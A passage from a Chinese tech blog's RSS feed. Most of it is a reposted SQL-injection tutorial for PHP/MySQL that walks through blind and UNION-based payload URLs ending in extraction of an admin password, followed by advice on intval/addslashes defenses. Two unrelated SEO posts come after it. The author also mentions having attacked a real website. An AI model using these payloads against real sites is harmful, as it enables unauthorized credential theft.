<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,6)=char(109,121,112,97,115,115)</span></td>
</tr>
</tbody>
</table>
<p>　　然后在mysql&gt;命令提示符下或者在phpMyadmin里面执行：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">select char(109,121,112,97,115,115)</span></td>
</tr>
</tbody>
</table>
<p>　　就会返回：mypass</p>
<p>　　当然也可以使用SUBSTRING(str,pos,len)和MID(str,pos,len)函数，从字符串 str 的 pos 位置起返回 len 个字符的子串。这个和ACCESS是一样的。还是刚才的例子，我们猜password字段的第三位、第四位试试，第三位是p，第四位是a，我们这样构造：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/user.php?userid=1 and mid(password,3,1)=char(112)<br />
http://127.0.0.1/injection/user.php?userid=1 and mid(password,4,1)=char(97)</span></td>
</tr>
</tbody>
</table>
<p>　　我们要的结果就迸出来了。当然，如果觉得麻烦，还可以用更简单的办法，就是利用ord()函数，具体作用可以去查看MYSQL参考手册，该函数返回的是整形类型的数据，可以用比较运算符进行比较、当然得出的结果也就快多了，也就是这样提交：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))&gt;111<br />
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))&lt;113<br />
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))=112</span></td>
</tr>
</tbody>
</table>
<p>　　这样我们就得出结果了，然后我们再用char()函数还原出来就好了。至于其他更多函数，大家可以自己去试验，限于篇幅也不多说了。</p>
<p><strong>3、快速确定未知数据结构的字段及类型</strong></p>
<p>　　如果不清楚数据结构，很难用UNION联合查询，这里我告诉大家一个小技巧，也是非常有用非常必要的技巧，充分发挥UNION的特性。<br />
　　还是拿前面的show.php文件做例子，当我们看到形如xxx.php?id=xxx的URL的时候，如果要UNION，就要知道这个xxx.php查询的数据表的结构，我们可以这样提交来快速确定有多少个字段：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1</span></td>
</tr>
</tbody>
</table>
<p>　　有多少个“1”就表示有多少个字段，可以慢慢试，如果字段数不相同，就肯定会出错，如果字段数猜对了，就肯定会返回正确的页面，字段数出来了，就开始判断数据类型，其实也很容易，随便用几个字母代替上面的1，但是由于magic_quotes_gpc打开，我们不能用引号，老办法，还是用char()函数，char(97)表示字母“a”，如下：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)</span></td>
</tr>
</tbody>
</table>
<p>　　如果是字符串，那就会正常显示“a”，如果不是字符串或文本，也就是说是整形或布尔形，就会返回“0”，如图：</p>
<p>　　判断最主要靠什么？经验，我以前一直都说，经验很重要，丰富经验能更好的作出正确的判断，因为程序的代码是千变万化的，我们这里是只是举个最简单的例子，这里由于局限性，程序都是我自己写、自己测试的。方法因程序而异。希望大家在实战中，注意区别，不要照搬，灵活运用才是根本。</p>
<p><strong>4、猜数据表名</strong></p>
<p>　　在快速确定未知数据结构的字段及类型的基础上，我们又可以进一步的分析整个数据结构，那就是猜表名，其实使用UNION联合查询的时候，不管后面的查询怎么“畸形”，只要没有语句上的问题，都会正确返回，也就是说，我们可以在上面的基础上，进一步猜到表名了，比如刚才我们提交：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/show.php?id=1 union select 1,1,1</span></td>
</tr>
</tbody>
</table>
<p>　　返回正常的内容，就说明这个文件查询的表内是存在3个字段的，然后我们在后面加入from table_name，也就是这样：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from members<br />
http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from admin<br />
http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from user</span></td>
</tr>
</tbody>
</table>
<p>　　如果这个表是存在的，那么同样会返回应该显示的内容，如果表不存在，当然就会出错了，所以我的思路是先获得有漏洞的文件所查询表的数据结构，确定结果后再进一步查询表，这个手工操作是没有效率的问题的，不到一分钟就可以查询到了，比如我们在测试www.***bai.net就是这样，后面的实例会涉及到。<br />
　　但是有一个问题，由于很多情况下，很多程序的数据表都会有一个前缀，有这个前缀就可以让多个程序共用一个数据库。比如：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">site_article<br />
site_user<br />
site_download<br />
forum_user<br />
forum_post<br />
……</span></td>
</tr>
</tbody>
</table>
<p>　　如果安全意识高的话，管理员会加个表名前缀，那猜解就很麻烦了，不过完全可以做一个表名列表来跑。这里就不多说了，后面会有一个具体的例子来解开一切迷茫^_^……</p>
<p><strong>实例</strong></p>
<p>　　下面对一个国内非常出名的站点进行善意的攻击测试，来对上面的知识进行一次大概的验证，出于影响等诸多因素，我们称这个站点为HB(www.***bai.net)，HB使用的是夜猫的文章系统和下载系统，不过文章系统已经升级了，我们就不看了，下载系统是绝对有问题的，不过由于我现在写文章的电脑不上网，我用相同的下载系统在本地进行一次模拟的测试。实际上，我事前早用更狠毒的技术渗透过HB。<br />
　　首先我们找到有问题的文件，show.php?id=1，我们马上看看数据结构和表名，看看HB有没有改字段和表名，我早知道夜猫下载系统1.0.1版的软件信息的表有19个字段，就提交：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1</span></td>
</tr>
</tbody>
</table>
<p>　　注意，这里有19个“1”，返回正常的页面，我可以可以肯定字段没有变，我们也就别拖拉了，直接看看夜猫的默认用户数据表是否存在：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user</span></td>
</tr>
</tbody>
</table>
<p>　　正常返回，如图，如果URL不清楚可以看标题那里：</p>
<p>　　嗯，这个HB还真是够懒的，这么烂的程序也不知道先修改一下再用，不过也是，没有多少人和我一样有闲心先去加固程序才用的，再看默认的用户id还在不在？</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1</span></td>
</tr>
</tbody>
</table>
<p>　　忘记了，就算不存在id为1的用户，前面的查询是真的，照样会正常返回数据库的软件信息，我们只能让前面的查询为假，才能使后面查询的结果显示出来，但我们要注意一点，show.php文件里面有这样一段代码：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">if ($id &gt; “0&#8243; &amp;&amp; $id &lt; “999999999&#8243; ):<br />
//这里是正确执行的代码<br />
else:<br />
echo “&lt;p&gt;&lt;center&gt;&lt;a href=./list.php&gt;无记录&lt;/a&gt;&lt;/p&gt;\n”;</span></td>
</tr>
</tbody>
</table>
<p>　　也就是说我们的ID的值再怎么离谱也不能在0和999999999之外，HB的软件肯定不会超过10000个的，我们就提交：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/ymdown/show.php?id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1</span></td>
</tr>
</tbody>
</table>
<p>　　正常返回了，表格里的数据全部是“1”，说明ID还在哦。如果不存在的话，页面只返回的数据全部是不详，因为程序的判断是如果数据为空就显示不详。现在确定了ID存在后，还要确定是不是管理员才行啊：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/ymdown/show.php?id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1</span></td>
</tr>
</tbody>
</table>
<p>　　程序规定groupid为1是超级管理员，既然都返回正确信息了，我们就直接构造畸形语句，暴出我们需要的用户名和密码，嘿嘿，首先看看ymdown表的数据结构，因为show.php是查询它的，所以我们应该看它的数据结构。</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">CREATE TABLE ymdown (<br />
　id int(10) unsigned NOT NULL auto_increment,<br />
　name varchar(100) NOT NULL,<br />
　updatetime varchar(20) NOT NULL,<br />
　size varchar(100) NOT NULL,<br />
　empower varchar(100) NOT NULL,<br />
　os varchar(100) NOT NULL,<br />
　grade smallint(6) DEFAULT &#8217;0&#8242; NOT NULL,<br />
　viewnum int(10) DEFAULT &#8217;0&#8242; NOT NULL,<br />
　downnum int(10) DEFAULT &#8217;0&#8242; NOT NULL,<br />
　homepage varchar(100), demo varchar(100),<br />
　brief mediumtext, img varchar(100),<br />
　sort2id smallint(6) DEFAULT &#8217;0&#8242; NOT NULL,<br />
　down1 varchar(100) NOT NULL,<br />
　down2 varchar(100),<br />
　down3 varchar(100),<br />
　down4 varchar(100),<br />
　down5 varchar(100),<br />
　PRIMARY KEY (id)<br />
);</span></td>
</tr>
</tbody>
</table>
<p>　　用户名和密码的数据类型都是varchar，所以我们要选择ymdown表里数据类型是varchar来，如果把varchar的数据写到int的地方当然是不可能显示的了，由于updatetime（更新日期）的长度是20，可能会出现显示不完全的情况，我们就把用户名显示在name（软件标题）那里，密码显示在size（文件大小）那里好了，在19个“1”中，name和size分别是第二个和第四个，我们提交：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1</span></td>
</tr>
</tbody>
</table>
<p>　　结果成功返回了我们所需要的用户名和密码，如图：</p>
<p><strong>验证测试结果</strong></p>
<p>　　整个渗透过程就结束了，不过由于黑白把入口给改了，无法登陆，但我们仅仅测试注入，目的已经达到了，就没有必要进后台了，我后来又继续构造SQL语句来验证我们获取的密码是否正确，依次提交：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49<br />
#验证第一位密码<br />
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50<br />
#验证第二位密码<br />
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51<br />
#验证第三位密码<br />
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,4,1))=52<br />
#验证第四位密码<br />
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,5,1))=53<br />
#验证第五位密码<br />
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,6,1))=54<br />
#验证第六位密码</span></td>
</tr>
</tbody>
</table>
<p>　　用select char(49,50,51,52,53,54)就可以得到123456。<br />
　　OK！测试结束，验证我们的结果没有错误。说明一下，密码本身是123456，可以不用ord()函数而直接猜，但为了大家能看到一个完整的过程，我还是“专业”一点好了。下面补一幅截图，是本文写完后，重新测试HB时截取的：</p>
<p><strong>注入的防范</strong></p>
<p>　　防范可以从两个方面着手，一个就是服务器，二个就是代码本身，介绍服务器配置的文章很多了，无非就是把magic_quotes_gpc设置为On，display_errors设置为Off，这里也就不在多说，既然本文接触都是程序的问题，我们还是从程序本身寻找原因。<br />
　　如果说php比asp易用，安全，从内置的函数就可以体现出来。如果是整形的变量，只需使用一个intval()函数即可解决问题，在执行查询之前，我们先处理一下变量，如下面的例子就是很安全的了：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">$id = intval($id);<br />
mysql_query(“SELECT * FROM article WHERE articleid=&#8217;$id&#8217;”);</span></td>
</tr>
</tbody>
</table>
<p>　　或者这样写：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">mysql_query(“SELECT * FROM article WHERE articleid=”.intval($id).”")</span></td>
</tr>
</tbody>
</table>
<p>　　不管如何构造，最终还是会先转换为整形猜放入数据库的。很多大型程序都是这样写，非常简洁。<br />
　　字符串形的变量也可以用addslashes()整个内置函数了，这个函数的作用和magic_quotes_gpc一样，使用后，所有的 &#8216; (单引号), ” (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的溢出字符。而且新版本的php，就算magic_quotes_gpc打开了，再使用addslashes()函数，也不会有冲突，可以放心使用。例子如下：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">$username = addslashes($username);<br />
mysql_query(“SELECT * FROM members WHERE userid=&#8217;$username&#8217;”);</span></td>
</tr>
</tbody>
</table>
<p>　　或者这样写：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">mysql_query(“SELECT * FROM members WHERE userid=”.addslashes($username).”")</span></td>
</tr>
</tbody>
</table>
<p>　　使用addslashes()函数还可以避免引号配对错误的情况出现。而刚才的前面搜索引擎的修补方法就是直接把“_”、“%”转换为“\_”“\%”就可以了，当然也不要忘记使用addslashes()函数。具体代码如下：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">$keywords = addslashes($keywords);<br />
$keywords = str_replace(“_”,”\_”,$keywords);<br />
$keywords = str_replace(“%”,”\%”,$keywords);</span></td>
</tr>
</tbody>
</table>
<p>　　不用像ASP那样，过滤一点变量，就要写一大堆的代码，就是上面的一点点代码，我们就可以把本文所有的问题解决了，是不是很简便.</p>
<h3  class="related_post_title">相关日志</h3><ul class="related_post"><li>06/06/2009 -- <a href="http://www.crazylemon.net/nginx/510.html" title="nginx详解">nginx详解</a> (0)</li><li>07/18/2009 -- <a href="http://www.crazylemon.net/web/1239.html" title=".htaccess使用指南">.htaccess使用指南</a> (0)</li><li>08/10/2009 -- <a href="http://www.crazylemon.net/mysql/1548.html" title="使用Navicat连接远程数据库2013错误">使用Navicat连接远程数据库2013错误</a> (0)</li><li>06/16/2009 -- <a href="http://www.crazylemon.net/nginx/670.html" title="nginx.conf &#8211; nginx配置文件说明">nginx.conf &#8211; nginx配置文件说明</a> (1)</li><li>06/06/2009 -- <a href="http://www.crazylemon.net/nginx/504.html" title="Nginx的WordPress配置">Nginx的WordPress配置</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.crazylemon.net/mysql/3455.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>SEO优化正确使用alt属性和title属性</title>
		<link>http://www.crazylemon.net/seo/3393.html</link>
		<comments>http://www.crazylemon.net/seo/3393.html#comments</comments>
		<pubDate>Tue, 10 Aug 2010 21:56:27 +0000</pubDate>
		<dc:creator>CrazyLemon</dc:creator>
				<category><![CDATA[Html]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[ip]]></category>
		<category><![CDATA[优化]]></category>
		<category><![CDATA[搜索引擎]]></category>

		<guid isPermaLink="false">http://www.crazylemon.net/?p=3393</guid>
		<description><![CDATA[正确的使用alt text属性和title属性不仅可以提高图片的搜索能力，对用户体验上也是很有帮助。 alt 替换文字（alt text）是为了给那些不能看到你文档中图像的浏览者提供文字说明。这包括那些使用本来就不支持图像显示或者图像显示被关闭的浏览器的用户，视觉障碍的用户和使用屏幕阅读器的用户。所以替换文字是用来替代图像而不是提供额外说明文字的。Alt text在IE浏览器中还起到了title的作用——鼠标经过时的文字提示。IE浏览器给了大家一个误导，在IE中ALT会变成文字提示是因为IE不标准。这一点Firefox做的就比较好。 title title是对图片的说明和额外补充，如果需要在鼠标经过图片时出现文字提示应该用属性title。title属性的优先级高于alt text。但由于错误的引导，很多初学者就在img标签内只加了alt属性。 下面看个例子，我们可以更清楚的看清alt text和 title之间的区别： //*图片不显示 &#60;img src=”abc.jpg” width=”400&#8243; height=”104&#8243; alt=”引导线网页制作网”&#62;   &#60;img src=”abc.jpg” width=”239&#8243; height=”104&#8243; title=”引导线网页制作网” /&#62; //*图片显示 &#60;img src=”abc.png”  title=”引导线网页制作网” /&#62; &#60;img src=”abc.png”  alt=”引导线网页制作网” /&#62;   在IE7或8以下浏览器中，这四句代码，鼠标经过图片时，都会出现文字提示。 而在Firefox浏览器中，前三句代码，鼠标经过图片时，都会出现文字提示，最后一句代码，鼠标经过图片不会显示文字提示（如下图所示）。 也就是说当图片不能显示时，鼠标经过图片时会显示替换文字的内容，而当图片可以显示时，鼠标经过图片时，替换文字就不会显示出来了。 现在我们已经知道alt text和title有什么不同了，那么我们怎样才能正确使用它们呢？ 1. alt text和title对访问者都很重要（alt text对搜索引擎会更重要一些），所以在定义img对象时，最好将alt text和title属性都写全，保证在各种浏览器中都能正常使用。 2. 在alt text和title中包含关键字，并且二者内容最好不一样。 3. 不要在alt text和title中堆积关键字，否则可能会导致搜索引擎惩罚。 其实，图片提示提示（tool tip），原来只是title属性实现的，之前因为IE的不标准，被误导了，以为是alt 相关日志10/30/2009 -- 什么是桥页 [...]]]></description>
			<content:encoded><![CDATA[<p>正确的使用alt text属性和title属性不仅可以提高图片的搜索能力，对用户体验上也是很有帮助。</p>
<h3>alt</h3>
<p>替换文字（alt text）是为了给那些不能看到你文档中图像的浏览者提供文字说明。这包括那些使用本来就不支持图像显示或者图像显示被关闭的浏览器的用户，视觉障碍的用户和使用屏幕阅读器的用户。所以替换文字是用来替代图像而不是提供额外说明文字的。<strong>Alt </strong>text在IE浏览器中还起到了title的作用——鼠标经过时的文字提示。IE浏览器给了大家一个误导，在IE中ALT会变成文字提示是因为IE不标准。这一点Firefox做的就比较好。</p>
<h3>title</h3>
<p>title是对图片的说明和额外补充，如果需要在鼠标经过图片时出现文字提示应该用属性title。title属性的优先级高于alt text。但由于错误的引导，很多初学者就在img标签内只加了alt属性。</p>
<p>下面看个例子，我们可以更清楚的看清alt text和 title之间的区别：</p>
<p>//*图片不显示<br />
&lt;img src=”abc.jpg” width=”400&#8243; height=”104&#8243; alt=”引导线网页制作网”&gt;  <br />
&lt;img src=”abc.jpg” width=”239&#8243; height=”104&#8243; title=”引导线网页制作网” /&gt;<br />
//*图片显示<br />
&lt;img src=”abc.png”  title=”引导线网页制作网” /&gt;<br />
&lt;img src=”abc.png”  alt=”引导线网页制作网” /&gt;<br />
 <br />
在IE7或8以下浏览器中，这四句代码，鼠标经过图片时，都会出现文字提示。</p>
<p>而在Firefox浏览器中，前三句代码，鼠标经过图片时，都会出现文字提示，最后一句代码，鼠标经过图片不会显示文字提示（如下图所示）。</p>
<p>也就是说当图片不能显示时，鼠标经过图片时会显示替换文字的内容，而当图片可以显示时，鼠标经过图片时，替换文字就不会显示出来了。</p>
<p>现在我们已经知道alt text和title有什么不同了，那么我们怎样才能正确使用它们呢？</p>
<p>1. alt text和title对访问者都很重要（alt text对搜索引擎会更重要一些），所以在定义img对象时，最好将alt text和title属性都写全，保证在各种浏览器中都能正常使用。</p>
<p>2. 在alt text和title中包含关键字，并且二者内容最好不一样。</p>
<p>3. 不要在alt text和title中堆积关键字，否则可能会导致搜索引擎惩罚。</p>
<p>其实，图片提示提示（tool tip），原来只是title属性实现的，之前因为IE的不标准，被误导了，以为是alt</p>
<h3  class="related_post_title">相关日志</h3><ul class="related_post"><li>10/30/2009 -- <a href="http://www.crazylemon.net/seo/2325.html" title="什么是桥页">什么是桥页</a> (0)</li><li>10/21/2009 -- <a href="http://www.crazylemon.net/seo/2246.html" title="一个被google除名的案例">一个被google除名的案例</a> (0)</li><li>09/14/2009 -- <a href="http://www.crazylemon.net/waimao/1890.html" title="仿牌购物网站被封？知识产权问题？不合理优化问题？">仿牌购物网站被封？知识产权问题？不合理优化问题？</a> (2)</li><li>09/12/2009 -- <a href="http://www.crazylemon.net/seo/1851.html" title="独立IP对SEO的影响">独立IP对SEO的影响</a> (1)</li><li>05/31/2009 -- <a href="http://www.crazylemon.net/seo/335.html" title="SEO插件 &#8211; 20个最好的Wordpress SEO 插件">SEO插件 &#8211; 20个最好的Wordpress SEO 插件</a> (3)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.crazylemon.net/seo/3393.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>GOOGLE人员对网站重新审核的说明</title>
		<link>http://www.crazylemon.net/seo/3048.html</link>
		<comments>http://www.crazylemon.net/seo/3048.html#comments</comments>
		<pubDate>Tue, 06 Apr 2010 18:42:42 +0000</pubDate>
		<dc:creator>CrazyLemon</dc:creator>
				<category><![CDATA[SEO]]></category>
		<category><![CDATA[搜索引擎]]></category>

		<guid isPermaLink="false">http://www.crazylemon.net/?p=3048</guid>
		<description><![CDATA[[Brain] 你好，我是Brian White，这是我的同事Rachel，我们都在Google搜索质量组工作。我们今天想向您介绍一些申请重新审核过程中的小窍门。 [Rachel] 首先，您一定要了解到您的网站哪里违反了网站管理员指南；并且，您要让我们了解到您已经修正了这些问题。有的时候，我们收到了一些这样的申请：”我的网站现在符合网站管理员指南了”，这些信息对我们来说是远远不够的。所以，希望您的描述越具体越好。您要想到是一些工作者，而不是机器，在阅读这些申请。 如果您不清楚自己的网站为什么表现未如自己的预期，请您在发出重新审核的申请前，再一次重新认真阅读网站管理员质量指南。如果您希望听一些第三方的意见，您可以到Google网站管理员支持论坛寻求其他站长的帮助 [Brain] 有时我们会收到一些重新审核的申请，这些申请者误把一些网站技术问题当成受到了惩罚。比如，有时Google在抓取您的网站时碰上了服务器响应超时，Google 一般来说能适应和包容网站常出现的这些暂时性问题，但是有时人们会误认为自己的网站被惩罚了，并发出了重新审核的请求。在这种情况下，您最好能多等待一下，看看网站收录等能否自然恢复。 有的网站管理员把受惩罚的原因归咎为重复内容，实际上问题经常不在这里。比如，您的网站和另外一个网站有合作，他们在合作中做出了一些有违网站管理员质量指南的行为，并把您的网站和他们的网站都牵涉在里面，最终给双方都带来了负面影响。您能控制您自己的网站，但是有时候很难将那些您没有控制权的内容彻底清除。我们理解这种情况，您只要在您的重新审核申请中将这些情况尽可能地加以说明就可以了。 而且，我们有非常好的内部工具，并有专人负责审核这些申请，所以请不要试图欺骗我们。如果您有意隐瞒或者提供一些误导的信息，我们将拒绝您的请求。 [Rachel] 同时，请不要滥用重新审核的申请表单，同时提交多个相同的请求并无益处，只提交一个言简意赅的申请，并且一次性做好就可以了。您的申请将由我们团队负责审核，而且我们将尽量及时审核，如果您有一些新的信息要补充，您可以发送一个新的重新审核的申请。 最后，要提醒您的是，如果重新审核真的发生的话，通常是需要一段时间才能察觉到惩罚被移除了，在这里要感谢您的耐心。 [Brian] 我们非常关注我们的搜索引擎用户，我们希望用户有愉快的体验，而不是抱怨。所以请您确保：1）在发送重新审核的请求之前，请确保您网站的问题已经妥善解决 2）请确保在将来我们也无须为您的网站再次违反质量指南而担忧。作为重新审核过程中的一员，在这里，真诚地向您说一句：谢谢！ [Rachel] 谢谢！ 以上是google官方一个视频对话的翻译，希望看了对大家有帮助 相关日志10/26/2010 -- 关于 rel=”canonical” 用法 (0)09/09/2010 -- 网站子目录地址后要不要斜杠 (3)09/01/2010 -- mysql 注入方法（转自Security Angel） (1)08/11/2010 -- SEO优化正确使用alt属性和title属性 (2)04/07/2010 -- 什么情况下google spider会来抓取新站页面 (0)]]></description>
			<content:encoded><![CDATA[<p>[Brain] 你好，我是Brian White，这是我的同事Rachel，我们都在Google搜索质量组工作。我们今天想向您介绍一些申请重新审核过程中的小窍门。</p>
<p>[Rachel] 首先，您一定要了解到您的网站哪里违反了网站管理员指南；并且，您要让我们了解到您已经修正了这些问题。有的时候，我们收到了一些这样的申请：”我的网站现在符合网站管理员指南了”，这些信息对我们来说是远远不够的。所以，希望您的描述越具体越好。您要想到是一些工作者，而不是机器，在阅读这些申请。</p>
<p>如果您不清楚自己的网站为什么表现未如自己的预期，请您在发出重新审核的申请前，再一次重新认真阅读网站管理员质量指南。如果您希望听一些第三方的意见，您可以到Google网站管理员支持论坛寻求其他站长的帮助</p>
<p>[Brain] 有时我们会收到一些重新审核的申请，这些申请者误把一些网站技术问题当成受到了惩罚。比如，有时Google在抓取您的网站时碰上了服务器响应超时，Google 一般来说能适应和包容网站常出现的这些暂时性问题，但是有时人们会误认为自己的网站被惩罚了，并发出了重新审核的请求。在这种情况下，您最好能多等待一下，看看网站收录等能否自然恢复。</p>
<p>有的网站管理员把受惩罚的原因归咎为重复内容，实际上问题经常不在这里。比如，您的网站和另外一个网站有合作，他们在合作中做出了一些有违网站管理员质量指南的行为，并把您的网站和他们的网站都牵涉在里面，最终给双方都带来了负面影响。您能控制您自己的网站，但是有时候很难将那些您没有控制权的内容彻底清除。我们理解这种情况，您只要在您的重新审核申请中将这些情况尽可能地加以说明就可以了。</p>
<p>而且，我们有非常好的内部工具，并有专人负责审核这些申请，所以请不要试图欺骗我们。如果您有意隐瞒或者提供一些误导的信息，我们将拒绝您的请求。</p>
<p>[Rachel] 同时，请不要滥用重新审核的申请表单，同时提交多个相同的请求并无益处，只提交一个言简意赅的申请，并且一次性做好就可以了。您的申请将由我们团队负责审核，而且我们将尽量及时审核，如果您有一些新的信息要补充，您可以发送一个新的重新审核的申请。</p>
<p>最后，要提醒您的是，如果重新审核真的发生的话，通常是需要一段时间才能察觉到惩罚被移除了，在这里要感谢您的耐心。</p>
<p>[Brian] 我们非常关注我们的搜索引擎用户，我们希望用户有愉快的体验，而不是抱怨。所以请您确保：1）在发送重新审核的请求之前，请确保您网站的问题已经妥善解决 2）请确保在将来我们也无须为您的网站再次违反质量指南而担忧。作为重新审核过程中的一员，在这里，真诚地向您说一句：谢谢！</p>
<p>[Rachel] 谢谢！</p>
<div><span id="k_lastpage">以上是google官方一个视频对话的翻译，希望看了对大家有帮助</span></div>
<h3  class="related_post_title">相关日志</h3><ul class="related_post"><li>10/26/2010 -- <a href="http://www.crazylemon.net/seo/3684.html" title="关于 rel=”canonical” 用法">关于 rel=”canonical” 用法</a> (0)</li><li>09/09/2010 -- <a href="http://www.crazylemon.net/seo/3483.html" title="网站子目录地址后要不要斜杠">网站子目录地址后要不要斜杠</a> (3)</li><li>09/01/2010 -- <a href="http://www.crazylemon.net/mysql/3455.html" title="mysql 注入方法（转自Security Angel）">mysql 注入方法（转自Security Angel）</a> (1)</li><li>08/11/2010 -- <a href="http://www.crazylemon.net/seo/3393.html" title="SEO优化正确使用alt属性和title属性">SEO优化正确使用alt属性和title属性</a> (2)</li><li>04/07/2010 -- <a href="http://www.crazylemon.net/seo/3038.html" title="什么情况下google spider会来抓取新站页面">什么情况下google spider会来抓取新站页面</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.crazylemon.net/seo/3048.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>什么情况下google spider会来抓取新站页面</title>
		<link>http://www.crazylemon.net/seo/3038.html</link>
		<comments>http://www.crazylemon.net/seo/3038.html#comments</comments>
		<pubDate>Tue, 06 Apr 2010 17:49:48 +0000</pubDate>
		<dc:creator>CrazyLemon</dc:creator>
				<category><![CDATA[SEO]]></category>
